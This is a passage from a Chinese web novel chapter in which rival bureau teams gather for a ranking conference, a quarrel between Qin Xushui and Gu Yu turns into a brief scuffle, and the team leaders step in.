后视镜里的小路缓慢移动,前路逐渐宽阔,星星点点的灯光出现在前方。
孟娩再次开口,“李小姐,你说的考虑来我们组的话,现在考虑好了吗?”
50. 功德+50
经此一役,李某人的手机账号里猛涨了好几千个粉丝,更奇怪的是,她账号里至今没有一个视频。
只能说万分可幸,她的账号并没有因此被封掉,或许是被一股神秘力量给控制了,只留下个任人猜忌的神秘数字ID。
时间过得很快,转眼就到了931首席排行大会开始的这一天。
令人瞠目结舌的是,之前说好的紧张对敌气氛完全没有,反而是热闹得不知所然的一番景象。
李俟菩看着已经有好几个人头攒动的大厅,脸上笑意不断,像是占了天大的便宜一样……这些人不会真是来吃席的吧。
在此期间,赵慵也曾问过李俟菩关于江隈具体的来龙去脉,都被李俟菩糊弄过去。
覃诩水更是大放厥词,没事儿就拿直播间里的言论调侃李俟菩,虽然每次都收获了李俟菩的“粉红爱心”拳头,但她却依旧乐此不疲。
就像个永远不会停止跳动的跳蚤。
这不,今天是大会的正日子,覃诩水不在门口迎接贵客就算了,居然还挤在挑事儿的两客人之间“调解”,仗义执言。
三人头顶吊灯上的红花一甩一甩,就像几根狗尾巴草,滑稽的不知是人还是物。
“你……哈哈哈,故意找茬我都说不出来这话,太逗了!”覃诩水笑得上气不接下气,生理盐水一股脑地往下流。
离她不算太远的李俟菩无语地看着她。
覃诩水的笑声像只鸭子,盖过了在门口迎接的赵慵的客套话语。
在其一旁的余愁山与宁松帷的脸都笑僵了,机械化地重复着迎宾言论,听到这讨人嫌的笑声,更僵了。
门口两门神默契的眼神幽怨双击,偏偏正主浑然不知。
“覃诩水,你笑什么?这才大会第一天,就和贺荔合起伙来给我个下马威是吧?”
语气极为轻篾,长相却是极为甜美,覃诩水左手边的女人扬起刀子一般的眼神,来回在覃诩水和贺荔身上不善地扫量。
“给你,下马威?”呆呆傻傻的贺荔好奇地迎着她话语,“你的比喻好奇怪啊,哪有人把自己比成马的?不过我不会骑马,诩水,你愿意骑马吗?”
换个角度看问题就是不一样,覃诩水放肆地笑出了声,“我愿意啊,不过我可不愿意骑一个姓谷的马。”
对方扬着令人不快的眼神,下巴微微抬起,手作势撩撩头发。
“贺荔是个听不懂人话的,怎么,覃小姐现在也是往智障人士方向发展了吗?”谷毓道,“大会还没开始,你们第九局一组就是这么待客的?”
“喂,你讲点道理好不好,明明是你先往贺荔身上撞的,怎么搞得好像你受了天大的委屈一样?”覃诩水丝毫不输气势,看不惯道,“真是笑话。”
谷毓身子后仰,看她像看一只蝼蚁,“呵,少在这儿充什么好人,论排名,你们第九局算个什么东西,要不是上面执意要来你们这儿破地方开会,哪轮得到你说话?”
这是明显没把两人放在眼里的意思,她神色逼戾。
“哟哟哟,是第三局了不起?你队长都还没张口,你还叫嚣起来了?”覃诩水白眼都要翻到天上去,嫌恶的表情淋漓尽致。
“历年总部大会都没见着你人影,今年倒是勤快,没去守你郴州那块第三局的牌匾去了?”
覃诩水无声口型道了句脏话,不耐烦地看向他处。
谷毓的表情狰狞一刹,吐字清晰。
“可不就是了不起?不像某些人,二十好几了,和那群狗东西一起躲在这里年年晋升轮空,别的组都升了好几个等级了,你们还原地踏步,真是有天大的踔绝之能啊。”
“那你不也轮空好几年了,你这人,怎么还自己骂自己呢?”贺荔傻傻愣愣地请求出战,“不对,是一骂骂一双。”
覃诩水本来听到前半段还挺开心的,听到后段,脸直接垮了下来,“答应我,以后说话只说前面的好吗?”
听到此话,贺荔还真以为自己说错话了,呆萌点头。
覃诩水继续发力:“不过贺荔说得也没错,人家可是年年晋升榜首,断层第一,从第九局三组直接升到第三局二组,有这毅力,干什么都会成功的对吧,第三局一组的谷小姐?”
“哦,我还听别人说,那个年年怨种第二,被人甩了一大截的,就是你吧谷毓。这么说也能理解,想尽办法和第一对着干也是理所当然,手段不光彩罢了。”
“谁叫你只是个万年老二呢?明年贺荔可就要爬到你前面去了,你再怎么无能狂怒也是枉然。”
不知是不是说到了谷毓的心坎儿上,她顿时脸色一黑,气得七窍生烟,手间青筋暴起。
在所有人没反应过来之际,她抬手,一瓶没开封的矿泉水就要往覃诩水的脑袋重重砸去。
贺荔短促地惊呼一声,覃诩水立马闪开,谷毓没得逞,气急败坏地又朝她方向抡去!
覃诩水一时双腿打结,躲闪不及,下意识地用手去挡,但她远远低估了谷毓所使的力道,接触那瓶身的一瞬间,她虎口发麻,矿泉水瓶炸裂开来,木板被洒下来的水渍洇湿。
“你疯了?!”
覃诩水怒吼一声,身子歪歪扭扭地就要向后倒,但清冷的气息却是比冰冷的木板先到来。
李俟菩终于丢了看戏的姿态,一手揽住覃诩水的臂膀,另一只手握住她的腕骨,借力打力。
谷毓的怒火尚未歇下,就被李俟菩的动作打个措手不及,立马举起双臂格挡。
但李俟菩的手,不对,是覃诩水的指骨只朝她一掰,就轻轻松松地卸下了蓄力的屏障。
谷毓瞳孔骤缩,脚尖一转,欲起手劈向李俟菩的后脖颈,但没想到被回神的覃诩水拧住了手,她吃痛得面色苍白。
李俟菩的脚背轻敲谷毓的小腿,谷毓就被压制住了所有的力气,双腿软软耷拉下来,在快落地时,被不知何时来到的赵慵扶住。
“寻衅闹事,违纪严重。”赵慵声音尖利张扬,对着覃诩水与谷毓一个巴掌就给足了力,“还分得清主次吗,知不知道今天的事情有多重要?”
巴掌懵懵的但不伤脑,李俟菩及时松开了手,藏在贺荔身后,事不关己。
“赵慵!你敢打我……”谷毓被打得一偏,她捂着脸就要大声喊叫,却被赵慵的第二个巴掌打破了音。
“赵队……”贺荔弱弱开口,赵慵一个眼神过去,贺荔闭嘴了。
覃诩水也想诉说什么来着,却被自家老大严肃的神情吓得瑟瑟发抖。
“管好你的人,沈队,大会召开在即,这般浮躁如何能行事?”赵慵转头,对着身后的人说道。
李俟菩从贺荔身后探头,只见赵慵身后站了个穿着西装的男人。
西装熨帖得毫无褶皱,男人抬起手中的金表,他冷冽的眼神扫了眼谷毓,“闹够了就回队,像什么话。”
谷毓
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脸红了一片,自知闹过头,一个哆嗦,眼睫垂下,“是。”
“还有,赵队,你逾矩了。”男人有些专横道。
“沈斛叶,你还真是面子比天大。”赵慵冷冷道,“我家朋友受欺负了还不能伸张一下?第三局不过是个名头,你还真把自己当我上级了?”
沈斛叶静静地看了一眼赵慵,没说话,转身就要走。
“慢着,道歉。”比赵慵抢先出声的是李俟菩,她总觉得自己在哪里见过或听过这男人的名字。
沈斛叶停下脚步,谷毓抬眸狠厉地瞪了她一眼。
李俟菩推了一把贺荔,向前走,“你还欠两声道歉。”
“撞人是其一,覃诩水守祸是其二。”
这一句显然是长了覃诩水的威风,她骄傲地挺起胸脯,湿透了的衣襟黏在她身上。
“你已经打了回来,我为什么还要平白道歉?!”谷毓不服气道。
李俟菩新奇地看了她一眼,“还手不是应该?再者,你这般斤斤计较之人,为何不留在驻地守着?我合理认为这次的安排有问题,赵队。”
赵慵挑眉,接着她话道:“哦?那你有什么建议,我可以随时打报告的,以此次大会首脑的名义。”
李俟菩说:“我没有任何建议,大会有三天,若三天中有一天出了岔子,那敌人大抵是怎一个乐字了得。”
覃诩水偷笑着举起了一个大拇指,贺荔在脑子里过了一遍伤心的往事,努力憋住自己的嘴角,赵慵也舒展了眉头。
“你很有主见。”沈斛叶回头道,“违纪的时候也是。”
赵慵回嘴:“不如谷小姐。”
谷毓迫于沈斛叶的威压,不敢怎么说话,瞪眼的对象又变成了赵慵。
天渐渐阴沉了下来,原本熙熙攘攘的大厅里这时挤满了人头,余宁二人还在迎客,无人关注这边的角落,即使这里站了东道主与第三局一组的红人。
“赵队!”
远处,是姗姗来迟的孟娩。
对峙的气氛一瞬间松弛下来,最先放软,是沈斛叶的眼神。
几天前把江隈送走后,李俟菩就再也没见过孟娩了。
那所谓的秘密调查自己,其实压根就没有放任何眼线在自己边上,亏得李俟菩还费了几分钟排查了一下身边有没有暗卫之类的人,结果是白费功夫。
这人,不按套路出牌。
孟娩匆匆走过来,与沈斛叶短暂接触了一下眼神后又移开,“赵队,你这边安排得怎么样了?”
“没什么问题,该做的东西都已准备好,去把总部里派的代表请出来吧,可以开始了。”赵慵指了指自己办公室。
孟娩蹙眉道:“代表?总部就派了一个人来?”
也不知是真重视,还是太重视怕引起什么疑心,布这么大的陷阱,居然就只派一个人来稳定大局,这次的大会可真是群英荟萃,萝卜开会。
赵慵叹口气,没说什么,转头稍微警告了一下覃诩水后,和孟娩先行一步走了。
沈斛叶的眼神一直在孟娩的背影上,也没有多做停留,几秒后自顾自地走去了人群之中。
而谷毓轻笑一声,不甘心地也跟着走了,覃诩水在她背后使劲挥拳。
李俟菩的眼神在沈斛叶与孟娩身上扭转了一巡。
“他俩是一对儿。”
脑子里的应庐突然开口说话,李俟菩冷着脸打了一个激灵。